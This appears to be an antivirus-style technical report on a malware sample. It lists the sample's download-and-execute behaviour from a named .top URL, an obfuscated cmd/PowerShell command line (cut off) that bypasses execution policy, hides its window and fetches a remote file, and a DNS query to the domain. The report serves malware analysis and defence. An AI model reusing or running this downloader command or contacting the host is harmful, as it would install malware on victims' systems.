Technical Information
Malicious functions
Downloads and executes
- http://www.zonedopesa.top/read.php?f=1.gif as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "poweRSH^ELL.eX^E -^eXecUti^OnPO^lIcy b^y^P^Ass^ -^no^PR^ofi^lE^ -w^iNDO^w^sT^Yl^E ^hIDDE^n ^(^nE^W^-OBjeCT SYs^TEM.nE^t.^WEbcL^Ient^)^.d^OwNL^o^ADFi^lE('http://www.zoned...
Network activity
UDP
- DNS ASK zo###opesa.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "poweRSH^ELL.eX^E -^eXecUti^OnPO^lIcy b^y^P^Ass^ -^no^PR^ofi^lE^ -w^iNDO^w^sT^Yl^E ^hIDDE^n ^(^nE^W^-OBjeCT SYs^TEM.nE^t.^WEbcL^Ient^)^.d^OwNL^o^ADFi^lE('http://www.zoned...' (with hidden window)
